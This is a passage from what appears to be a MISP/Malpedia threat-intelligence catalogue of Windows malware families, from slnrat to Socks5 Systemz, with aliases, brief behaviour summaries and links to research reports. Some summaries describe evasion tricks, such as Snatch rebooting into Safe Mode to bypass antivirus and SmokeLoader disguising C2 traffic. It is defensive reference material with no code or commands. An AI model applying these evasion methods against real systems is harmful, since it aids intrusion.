https://www.immersivelabs.com/blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide/
https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/
https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/
https://asec.ahnlab.com/en/56941/
https://hunt.io/blog/echoes-of-stargazer-goblin-analyzing-shared-ttps-from-an-open-directory
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf
https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/

https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/
https://embee-research.ghost.io/shodan-censys-queries/
https://hunt.io/blog/sliver-c2-ligolo-ng-targeting-yc
https://embeeresearch.io/shodan-censys-queries/
https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks
https://www.team-cymru.com/post/sliver-case-study-assessing-common-offensive-security-tools
https://harfanglab.io/insidethelab/supposed-grasshopper-operators-impersonate-israeli-gov-private-companies-deploy-open-source-malware/
https://github.com/chronicle/GCTI
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf
https://asec.ahnlab.com/en/47088/
https://global.ptsecurity.com/en/research/pt-esc-threat-intelligence/dragons-in-thunder/
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_9_takeda_furukawa_en.pdf
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf
https://www.seqrite.com/blog/operation-oxidovy-sophisticated-malware-campaign-targets-czech-officials-using-nato-themed-decoys/
https://www.telsy.com/download/5900/?uid=b797afdcfb
https://thedfirreport.com/2024/09/30/nitrogen-campaign-drops-sliver-and-ends-with-blackcat-ransomware/
https://www.ncsc.gov.uk/files/Advisory%20Further%20TTPs%20associated%20with%20SVR%20cyber%20actors.pdf
https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLPCLEAR-Staubmann-Busy-Bees.pptx
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://asec.ahnlab.com/en/55652/

slnrat

The tag is: *misp-galaxy:malpedia="slnrat"*

slnrat is also known as:

Table 5149. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slnrat
https://asec.ahnlab.com/ko/37764/

SlothfulMedia

According to MITRE, SLOTHFULMEDIA is a remote access Trojan written in C++ that has been used by an unidentified "sophisticated cyber actor" since at least January 2017. It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.

The tag is: *misp-galaxy:malpedia="SlothfulMedia"*

SlothfulMedia is also known as:

- QueenOfClubs

Table 5150. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slothfulmedia
https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a

SlowStepper

According to ESET, SlowStepper is a feature-rich backdoor with a toolkit of more than 30 components, programmed in C++, Python, and Go.

The tag is: *misp-galaxy:malpedia="SlowStepper"*

SlowStepper is also known as:

Table 5151. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slowstepper
https://www.welivesecurity.com/en/eset-research/plushdaemon-compromises-supply-chain-korean-vpn-service/

SLUB

The tag is: *misp-galaxy:malpedia="SLUB"*

SLUB is also known as:

Table 5152. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slub
https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-LunghiHorejsi.pdf
https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-kitsune.pdf
https://www.trendmicro.com/en_us/research/20/l/who-is-the-threat-actor-behind-operation-earth-kitsune-.html
https://www.trendmicro.com/en_us/research/20/j/operation-earth-kitsune-a-dance-of-two-new-backdoors.html
https://blog.trendmicro.com/trendlabs-security-intelligence/new-slub-backdoor-uses-github-communicates-via-slack/

smac

The tag is: *misp-galaxy:malpedia="smac"*

smac is also known as:

- speccom

Table 5153. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smac
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf
https://www.secureworks.com/research/threat-profiles/bronze-express

Smackdown

The tag is: *misp-galaxy:malpedia="Smackdown"*

Smackdown is also known as:

Table 5154. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smackdown
https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/raw/master/2013/2013.05.20.Operation_Hangover/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf

SManager

The tag is: *misp-galaxy:malpedia="SManager"*

SManager is also known as:

- PhantomNet

Table 5155. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager
https://0xthreatintel.medium.com/how-to-unpack-smanager-apt-tool-cb5909819214
https://blog.vincss.net/2021/02/re020-elephantrat-kunming-version-our-latest-discovered-RAT-of-Panda.html
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://blog.vincss.net/2020/12/phan-tich-ky-thuat-dong-ma-doc-moi-co-nhieu-dau-hieu-lien-quan-toi-nhom-tin-tac-Panda.html
https://blog.vincss.net/2020/12/re018-1-analyzing-new-malware-of-china-panda-hacker-group-used-to-attack-supply-chain-against-vietnam-government-certification-authority.html
https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/
https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager
https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set
https://0xthreatintel.medium.com/reversing-apt-tool-smanager-unpacked-d413a04961c4
https://blog.group-ib.com/task
https://blog.vincss.net/2020/12/re017-2-phan-tich-ky-thuat-dong-ma-doc-moi-co-nhieu-dau-hieu-lien-quan-toi-nhom-tin-tac-Panda.html
https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/
https://blog.vincss.net/2020/12/re018-2-analyzing-new-malware-of-china-panda-hacker-group-used-to-attack-supply-chain-against-vietnam-government-certification-authority.html?m=1

SmartEyes

The tag is: *misp-galaxy:malpedia="SmartEyes"*

SmartEyes is also known as:

Table 5156. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smarteyes
https://www.virustotal.com/gui/file/4eb840617883bf6ed7366242ffee811ad5ea3d5bfd2a589a96d6ee9530690d28/details

SmartLoader

The tag is: *misp-galaxy:malpedia="SmartLoader"*

SmartLoader is also known as:

Table 5157. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smartloader
https://www.trendmicro.com/en_us/research/25/c/ai-assisted-fake-github-repositories.html
https://asec.ahnlab.com/en/89551/
https://research.openanalysis.net/github/lua/2024/03/03/lua-malware.html
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/redline-stealer-a-novel-approach/
https://github.com/SecurityBlueTeam/Smartloader_Wireshark

SMAUG

According to PCrisk, Smaug ransomware is available for download on the dark web: it is for sale as Ransomware as a Service (RaaS). Therefore, cyber criminals who purchase it can perform ransomware attacks without having to develop malware of this type. Smaug is designed to encrypt files, rename them and create a ransom message.

The tag is: *misp-galaxy:malpedia="SMAUG"*

SMAUG is also known as:

Table 5158. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smaug
https://labs.sentinelone.com/multi-platform-smaug-raas-aims-to-see-off-competitors/
https://www.anomali.com/blog/anomali-threat-research-releases-first-public-analysis-of-smaug-ransomware-as-a-service
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

SMOKEDHAM

According to Mandiant, SMOKEDHAM is dropped through a powershell script that contains the (C#) source code for this backdoor, which is stored in an encrypted variable. The dropper dynamically defines a cmdlet and .NET class for the backdoor, meaning the compiled code is only found in memory.

The tag is: *misp-galaxy:malpedia="SMOKEDHAM"*

SMOKEDHAM is also known as:

Table 5159. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smokedham
https://www.mandiant.com/resources/burrowing-your-way-into-vpns
https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html
https://www.mandiant.com/resources/darkside-affiliate-supply-chain-software-compromise
https://cloud.google.com/blog/topics/threat-intelligence/burrowing-your-way-into-vpns
https://cloud.google.com/blog/topics/threat-intelligence/darkside-affiliate-supply-chain-software-compromise

SmokeLoader

The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.

The tag is: *misp-galaxy:malpedia="SmokeLoader"*

SmokeLoader is also known as:

- Dofoil
- Sharik
- Smoke
- Smoke Loader

Table 5160. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader
https://www.logpoint.com/en/blog/emerging-threat/defending-against-8base/
https://farghlymal.github.io/SmokeLoader-Analysis/
https://www.europol.europa.eu/media-press/newsroom/news/largest-ever-operation-against-botnets-hits-dropper-malware-ecosystem
https://www.fortinet.com/blog/threat-research/sophisticated-attack-targets-taiwan-with-smokeloader
https://de.darktrace.com/blog/privateloader-network-based-indicators-of-compromise

https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/

https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/

https://any.run/cybersecurity-blog/crackedcantil-breakdown/

https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities

https://n1ght-w0lf.github.io/malware%20analysis/smokeloader/

https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html

https://asec.ahnlab.com/en/36634/

https://perception-point.io/blog/evasive-concatenated-zip-trojan-targets-windows-users/

https://embee-research.ghost.io/combining-pivot-points-to-identify-malware-infrastructure-redline-smokeloader-and-cobalt-strike/

https://insights.loaderinsight.agency/posts/vidar-build-id-correlation/

https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US

https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a

https://www.bitsight.com/blog/tracking-privateloader-malware-distribution-service

https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html

https://infosec.exchange/@spamhaus/112008862430254522

https://www.darkreading.com/vulnerabilities-threats/operation-endgame-takedowns-arrests-matter

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://www.bleepingcomputer.com/news/security/new-golang-botnet-empties-windows-users-cryptocurrency-wallets/

https://danusminimus.github.io/Analyzing-Modern-Malware-Techniques-Part-4/

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://hunt.io/blog/smokeloader-malware-found-in-open-directories-targeting-ukraine-s-auto-banking-industries

https://youtu.be/QOypldw6hnY?t=3237

https://malwarology.substack.com/p/malicious-packer-pkr_ce1a?r=1lslzd

https://cloudblogs.microsoft.com/microsoftsecure/2018/04/04/hunting-down-dofoil-with-windows-defender-atp/

https://research.checkpoint.com/2019-resurgence-of-smokeloader/

https://www.cisa.gov/uscert/ncas/alerts/aa22-110a

https://bartblaze.blogspot.com/2017/08/crystal-finance-millennium-used-to.html

https://www.trendmicro.com/en_us/research/25/a/cve-2025-0411-ukrainian-organizations-targeted.html

https://www.acronis.com/en-sg/cyber-protection-center/posts/8base-ransomware-stays-unseen-for-a-year/

https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html

https://irfan-eternal.github.io/understanding-internals-of-smokeloader/

https://blog.malwarebytes.com/social-engineering/2020/09/malvertising-campaigns-come-back-in-full-swing/

https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/

https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore

https://m.alvar.es/2019/10/dynamic-imports-and-working-around.html

https://www.cert.pl/en/news/single/dissecting-smoke-loader/

https://www.zscaler.com/blogs/security-research/smokeloader-rises-ashes

https://hatching.io/blog/tt-2020-08-27/

https://inside.harfanglab.io/blog/articles/cyber-threat-intelligence/loader-galore-taskloader-at-the-start-of-a-pay-per-install-infection-chain/

https://www.silentpush.com/blog/privacy-tools-not-for-you

https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/

https://blogs.blackberry.com/en/2022/02/threat-thursday-arkei-infostealer

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/

https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.101_ENG.pdf

https://www.proofpoint.com/us/blog/threat-insight/now-you-see-it-now-you-dont-copperstealer-performs-widespread-theft

https://scpc.gov.ua/api/files/8e300d33-6257-4d7f-8f72-457224268343

http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html

https://embee-research.ghost.io/smokeloader-analysis-with-procmon/

https://www.malwarebytes.com/blog/social-engineering/2020/09/malvertising-campaigns-come-back-in-full-swing

https://malwareandstuff.com/examining-smokeloaders-anti-hooking-technique/

https://info.phishlabs.com/blog/smoke-loader-adds-additional-obfuscation-methods-to-mitigate-analysis

https://blog.badtrace.com/post/anti-hooking-checks-of-smokeloader-2018/

https://suvaditya.one/malware-analysis/smokeloader/

https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/

https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/

https://m.alvar.es/2020/06/unpacking-smokeloader-and.html

https://m.alvar.es/2020/06/comparative-analysis-between-bindiff.html

https://github.com/vc0RExor/Quick-Analysis/blob/main/SmokeLoader/SmokeLoader.md

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://www.spamhaus.org/news/article/774/smoke-loader-improves-encryption-after-microsoft-spoils-its-campaign

https://www.europol.europa.eu/media-press/newsroom/news/operation-endgame-follow-leads-to-five-detentions-and-interrogations-well-server-takedowns

https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries

https://int0xcc.svbtle.com/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait

https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor

http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html

https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145

https://www.rnbo.gov.ua/files/2023_YEAR/CYBERCENTER/october/The%20Surge%20in%20Smokeloader%20Attacks%20on%20Ukrainian%20Institutions%20UA.pdf

https://www.intrinsec.com/wp-content/uploads/2025/03/TLP-CLEAR-From-espionage-to-PsyOps-Tracking-operations-and-infrastructure-of-UACs-in-2025-EN-1.pdf

https://asec.ahnlab.com/en/33600/

https://unit42.paloaltonetworks.com/analysis-of-smoke-loader-in-new-tsunami-campaign/

http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html

https://www.zscaler.com/blogs/security-research/brief-history-smokeloader-part-1

https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet/

https://www.telekom.com/en/blog/group/article/a-new-way-to-encrypt-cc-server-urls-614886

https://blog.cluster25.duskrise.com/2023/10/12/cve-2023-38831-russian-attack

https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf

https://blog.malwarebytes.com/cybercrime/2018/01/fake-spectre-and-meltdown-patch-pushes-smoke-loader/

https://www.sentinelone.com/blog/going-deep-a-guide-to-reversing-smoke-loader-malware/

https://drive.google.com/file/d/13BsHZn-KVLhwrtgS2yKJAM2_U_XZlwoD/view

http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html

https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/

https://x0r19x91.in/malware-analysis/smokeloader/

https://www.prodaft.com/m/reports/RIG_TLP_CLEAR-1.pdf
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://www.proofpoint.com/us/threat-insight/post/2019-return-retefe
https://eternal-todo.com/blog/smokeloader-analysis-yulia-photo
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://intel471.com/blog/privateloader-malware
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://research.openanalysis.net/smoke/smokeloader/loader/config/yara/triage/2022/08/25/smokeloader.html
https://blogs.blackberry.com/en/2022/07/smokeloader-malware-used-to-augment-amadey-infostealer
https://securitynews.sonicwall.com/xmlpost/html-application-hta-files-are-being-used-to-distribute-smoke-loader-malware/

Smominru

The tag is: *misp-galaxy:malpedia="Smominru"*

Smominru is also known as:

- Ismo

Table 5161. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smominru
http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/
https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators

Smrss32

Ransomware.

The tag is: *misp-galaxy:malpedia="Smrss32"*

Smrss32 is also known as:

Table 5162. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smrss32

https://www.youtube.com/watch?v=7gCU31ScJgk
https://www.bleepingcomputer.com/forums/t/623132/smrss32-encrypted-ransomware-help-support-how-to-decryptbmp/

Sn0wsLogger

The tag is: *misp-galaxy:malpedia="Sn0wsLogger"*

Sn0wsLogger is also known as:

Table 5163. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sn0wslogger
https://twitter.com/struppigel/status/1354806038805897216

Snake

Snake Ransomware is a Golang ransomware reportedly containing obfuscation not typically seen in Golang ransomware. This malware will remove shadow copies and kill processes related to SCADA/ICS devices, virtual machines, remote management tools, network management software, and others. After this, encryption of files on the device commences, while skipping Windows system folders and various system files. A random 5 character string is appended to encrypted files. According to Bleeping Computer, this ransomware takes an especially long time to encrypt files on a targeted machine. This ransomware is reported to target an entire network, rather than individual workstations.

The tag is: *misp-galaxy:malpedia="Snake"*

Snake is also known as:

- EKANS
- SNAKEHOSE

Table 5164. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snake
https://www.dragos.com/blog/industry-news/ekans-ransomware-misconceptions-and-misunderstandings/
https://ics-cert.kaspersky.com/alerts/2020/06/17/targeted-attacks-on-industrial-companies-using-snake-ransomware/
https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot
https://krebsonsecurity.com/2020/05/europes-largest-private-hospital-operator-fresenius-hit-by-ransomware

https://www.goggleheadedhacker.com/blog/post/22
https://twitter.com/milkr3am/status/1270019326976786432
https://labs.sentinelone.com/new-snake-ransomware-adds-itself-to-the-increasing-collection-of-golang-crimeware/
https://www.0ffset.net/reverse-engineering/analysing-snake-ransomware/
https://medium.com/@nishanmaharjan17/malware-analysis-snake-ransomware-a0e66f487017
https://blog.malwarebytes.com/threat-analysis/2020/06/honda-and-enel-impacted-by-cyber-attack-suspected-to-be-ransomware/
https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html
https://www.bleepingcomputer.com/news/security/honda-investigates-possible-ransomware-attack-networks-impacted/
https://www.ccn-cert.cni.es/pdf/5045-ccn-cert-id-15-20-snake-locker-english-1/file.html
https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/
https://dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/
https://twitter.com/bad_packets/status/1270957214300135426
https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf
https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://hub.dragos.com/hubfs/Whitepaper-Downloads/Dragos_Manufacturing%20Threat%20Perspective_1120.pdf
https://github.com/albertzsigovits/malware-notes/blob/master/Snake.md
https://www.fortinet.com/blog/threat-research/ekans-ransomware-targeting-ot-ics-systems
https://www.bleepingcomputer.com/news/security/snake-ransomware-is-the-next-threat-targeting-business-networks/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf
https://insights.sei.cmu.edu/cert/2020/03/snake-ransomware-analysis-updates.html

SnakeDisk

According to X-Force, SnakeDisk is a USB worm, dropping further payloads

The tag is: *misp-galaxy:malpedia="SnakeDisk"*

SnakeDisk is also known as:

Table 5165. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.snake_disk
https://www.ibm.com/think/x-force/hive0154-drops-updated-toneshell-backdoor

SNAPPYBEE

The tag is: *misp-galaxy:malpedia="SNAPPYBEE"*

SNAPPYBEE is also known as:

- Deed RAT
- POISONPLUG.DEED

Table 5166. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snappybee
https://cloud.google.com/blog/topics/threat-intelligence/scatterbrain-unmasking-poisonplug-obfuscator
https://www.trendmicro.com/en_us/research/24/k/earth-estries.html
https://jsac.jpcert.or.jp/archive/2025/pdf/JSAC2025_1_5_leon-chang_theo-chen_en.pdf
https://www.darktrace.com/blog/salty-much-darktraces-view-on-a-recent-salt-typhoon-intrusion

Snatch

Snatch is a ransomware which infects victims by rebooting the PC into Safe Mode. Most of the existing security protections do not run in Safe Mode so that it the malware can act without expected countermeasures and it can encrypt as many files as it finds. It uses common packers such as UPX to hide its payload.

The tag is: *misp-galaxy:malpedia="Snatch"*

Snatch is also known as:

Table 5167. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch
https://intel471.com/blog/a-brief-history-of-ta505
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.crowdstrike.com/blog/financial-motivation-drives-golang-malware-adoption/
https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://thedfirreport.com/2020/06/21/snatch-ransomware/
https://twitter.com/VK_Intel/status/1191414501297528832
https://github.com/albertzsigovits/malware-notes/blob/master/Snatch.md
https://www.bleepingcomputer.com/news/security/snatch-ransomware-reboots-to-windows-safe-mode-to-bypass-av-tools/
https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/

SnatchCrypto

Malware observed in the SnatchCrypto campaign, attributed by Kaspersky Labs to BlueNoroff with high confidence.

The tag is: *misp-galaxy:malpedia="SnatchCrypto"*

SnatchCrypto is also known as:

- BackbitingTea
- msoRAT

Table 5168. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snatchcrypto
https://securelist.com/the-bluenoroff-cryptocurrency-hunt-is-still-on/105488/
https://blog.sekoia.io/the-dprk-delicate-sound-of-cyber/
https://vb2020.vblocalhost.com/conference/presentations/unveiling-the-cryptomimic/
https://threatbook.cn/ppt/The%2520Nightmare%2520of%2520Global%2520Cryptocurrency%2520Companies%2520-%2520Demystifying%2520the%2520%25E2%2580%259CDangerousPassword%25E2%2580%259D%2520of%2520the%2520APT%2520Organization.pdf
https://blogs.jpcert.or.jp/ja/2023/05/dangerouspassword.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lazarus-campaigns-and-backdoors-in-2022-2023.pdf

SnatchLoader

A downloader trojan with some infostealer capabilities focused on the browser. Previously observed as part of RigEK campaigns.

The tag is: *misp-galaxy:malpedia="SnatchLoader"*

SnatchLoader is also known as:

Table 5169. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch_loader
https://www.youtube.com/watch?v=k3sM88o_maM
https://zerophagemalware.com/2017/12/11/malware-snatch-loader-reloaded/
https://www.arbornetworks.com/blog/asert/snatchloader-reloaded/
https://myonlinesecurity.co.uk/your-order-no-8194788-has-been-processed-malspam-delivers-malware/
https://twitter.com/VK_Intel/status/898549340121288704

SNEEPY

The tag is: *misp-galaxy:malpedia="SNEEPY"*

SNEEPY is also known as:

- ByeByeShell

Table 5170. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sneepy
https://researchcenter.paloaltonetworks.com/2016/09/unit42-confucius-says-malware-families-get-further-by-abusing-legitimate-websites/

Snifula

The tag is: *misp-galaxy:malpedia="Snifula"*

Snifula is also known as:

- Ursnif

Table 5171. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snifula
https://www.circl.lu/assets/files/tr-13/tr-13-snifula-analysis-report-v1.3.pdf
https://www.gdatasoftware.com/blog/2019/08/35146-taming-the-mess-of-av-detection-names
https://kostas-ts.medium.com/ursnif-vs-italy-il-pdf-del-destino-5c83d6281072
https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/
https://www.zdnet.com/article/ursnif-trojan-has-targeted-over-100-italian-banks/

https://malware.love/malware_analysis/reverse_engineering/2020/11/27/analyzing-a-vbs-dropper.html
https://medium.com/csis-techblog/chapter-1-from-gozi-to-isfb-the-history-of-a-mythical-malware-family-82e592577fef
https://www.darktrace.com/en/blog/the-resurgence-of-the-ursnif-banking-trojan/

SnipVex

SnipVex is a virus that infects files with .exe extension via prepending itself to the host. It is written in .NET. It has a clipbanker as payload.

The tag is: *misp-galaxy:malpedia="SnipVex"*

SnipVex is also known as:

Table 5172. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snipvex
https://www.gdatasoftware.com/blog/2025/05/38200-printer-infected-software-downloads

Snojan

The tag is: *misp-galaxy:malpedia="Snojan"*

Snojan is also known as:

Table 5173. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snojan
https://medium.com/@jacob16682/snojan-analysis-bb3982fb1bb9

SnowFlake Stealer

Information stealer, written in Rust.

The tag is: *misp-galaxy:malpedia="SnowFlake Stealer"*

SnowFlake Stealer is also known as:

Table 5174. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snowflake_stealer

https://github.com/Finch4/Malware-Analysis-Reports/blob/master/SnowFlake%20Stealer/SnowFlake%20Stealer%20Analysis.pdf

SNS Locker

The tag is: *misp-galaxy:malpedia="SNS Locker"*

SNS Locker is also known as:

Table 5175. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snslocker

Sobaken

According to ESET, this RAT was derived from (the open-source) Quasar RAT.

The tag is: *misp-galaxy:malpedia="Sobaken"*

Sobaken is also known as:

Table 5176. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sobaken
https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/

Sobig

The tag is: *misp-galaxy:malpedia="Sobig"*

Sobig is also known as:

- Palyh

Table 5177. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sobig
http://edition.cnn.com/2003/TECH/internet/08/21/sobig.virus/index.html

Socelars

Socelars is an infostealer with main focus on: * Facebook Stealer (ads/manager) * Cookie Stealer | AdsCreditCard {Amazon}

The tag is: *misp-galaxy:malpedia="Socelars"*

Socelars is also known as:

Table 5178. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.socelars
https://twitter.com/VK_Intel/status/1201584107928653824
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf
https://www.trendmicro.com/en_us/research/21/i/fake-installers-drop-malware-and-open-doors-for-opportunistic-attackers.html
https://www.bleepingcomputer.com/news/security/facebook-ads-manager-targeted-by-new-info-stealing-trojan/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/

Sockbot

Sockbot is a customized and in Go written fork of the Ligolo reverse tunneling open-source tool. Several modification were performed by the threat actors who rewrote that code, e.g. execution checks, hardcoded values. Ligolo: https://github.com/sysdream/ligolo

The tag is: *misp-galaxy:malpedia="Sockbot"*

Sockbot is also known as:

Table 5179. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sockbot
https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html
https://www.youtube.com/watch?v=CAMnuhg-Qos
https://www.bleepingcomputer.com/news/security/hackers-fork-open-source-reverse-tunneling-tool-for-persistence/
https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf

Socks5 Systemz

The Socks5 Systemz malware is a proxy botnet distributed via the PrivateLoader and Amadey loaders. Active since at least 2016, this botnet infects devices to use them as proxies for malicious activities, offering access for prices ranging from $1 to $140 per day in cryptocurrency. It employs a domain generation algorithm (DGA) to evade detection and enhance its resilience. Persistence is

maintained through a Windows service named ContentDWSvc, with the malware injected into memory via a file called previewer.exe. To date, it has compromised approximately 10,000 devices globally, excluding Russia.

